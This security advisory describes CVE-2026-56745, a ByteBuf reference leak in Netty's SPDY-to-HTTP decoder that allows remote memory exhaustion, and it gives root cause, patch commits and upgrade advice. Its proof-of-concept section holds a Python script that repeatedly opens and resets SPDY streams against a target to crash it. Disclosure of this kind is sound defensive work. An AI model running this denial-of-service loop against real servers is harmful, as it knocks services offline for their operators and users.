highCVE-2026-56745Jul 22, 2026

CVE-2026-56745: netty-codec-http SpdyHttpDecoder ByteBuf Reference Leak

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Netty's SPDY-to-HTTP decoder permanently leaks native memory for every stream that is reset or overflows the content limit, letting any remote client exhaust the JVM's direct memory pool and crash…

Packageio.netty:netty-codec-http
Ecosystemmaven
Affected>= 4.2.0.Final, <= 4.2.15.Final
Fixed in4.2.16.Final

The problem

The SpdyHttpDecoder in netty-codec-http (4.2.0.Final through 4.2.15.Final, and the 4.1.x line) accumulates DATA frames for multi-frame requests in a messageMap keyed by stream ID. The partially-built FullHttpRequest holds a pooled ByteBuf for the request body.

When the peer sends RST_STREAM for that stream, or when accumulated content exceeds maxContentLength, the decoder calls messageMap.remove(streamId) but never calls release() on the removed request's content buffer. Each orphaned buffer is a permanent native-memory leak.

An attacker only needs to open streams repeatedly and immediately reset them, driving the server to OOM on direct memory.

Proof of concept

A working proof-of-concept for CVE-2026-56745 in io.netty:netty-codec-http, with the exact payload below.

python
# Open N streams with SYN_STREAM FLAG_FIN=0, then RST_STREAM each one.
# Uses Python spdylay / raw SPDY/3.1 framing. Repeat in a tight loop.

import socket, struct

def spdy_syn_stream(stream_id):
    # SYN_STREAM: type=1, flags=0x00 (FLAG_FIN NOT set), length=10
    # Minimal headers block (NV pairs = 0, compressed)
    headers_block = b'\x00\x00\x00\x00'  # 0 name-value pairs (pre-compressed placeholder)
    length = 10 + len(headers_block)
    ctrl  = struct.pack('>HHI', 0x8003, 0x0001, length)  # version=3, type=SYN_STREAM
    flags_len = struct.pack('>I', length)                 # flags=0x00, FLAG_FIN=0
    body  = struct.pack('>IIH', stream_id, 0, 0)         # stream_id, assoc_id, pri+slot
    return ctrl[:4] + flags_len + body + headers_block

def spdy_rst_stream(stream_id, status=0x00000002):  # CANCEL
    ctrl = struct.pack('>HHI', 0x8003, 0x0003, 8)   # version=3, type=RST_STREAM, len=8
    flags_len = struct.pack('>I', 8)                 # flags=0, length=8
    body = struct.pack('>II', stream_id, status)
    return ctrl[:4] + flags_len + body

s = socket.create_connection(('target', 8443))
for i in range(1, 100000, 2):           # odd stream IDs = client-initiated
    s.sendall(spdy_syn_stream(i))       # allocates ByteBuf in messageMap
    s.sendall(spdy_rst_stream(i))       # removes entry WITHOUT releasing ByteBuf
    # each iteration leaks one pooled direct ByteBuf

The root cause (CWE-400) is a missing ReferenceCountUtil.release(msg) call in SpdyHttpDecoder on two paths: the SpdyRstStreamFrame handler and the content-length overflow guard. Both paths call messageMap.remove(streamId) to drop the in-progress FullHttpRequest, but the returned object is immediately discarded without releasing the underlying pooled ByteBuf.

The patch commits (5b68c61f for 4.2, bb2ff68a for 4.1) add an explicit ReferenceCountUtil.safeRelease() on the removed message in both code paths, so the reference count drops to zero and the pooled buffer is returned to the allocator.

Because Netty defaults to a pooled direct-memory allocator, leaked buffers consume off-heap memory that is invisible to the GC. Repeated RST_STREAM cycling therefore bypasses any heap-based memory pressure signal until the JVM hits its direct-memory limit and throws OutOfMemoryError.

The fix

Upgrade to io.netty:netty-codec-http:4.2.16.Final (or 4.1.136.Final for the 4.1 line). No configuration workaround exists; the only mitigation short of upgrading is to disable SPDY support entirely by removing SpdyHttpDecoder from the pipeline.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research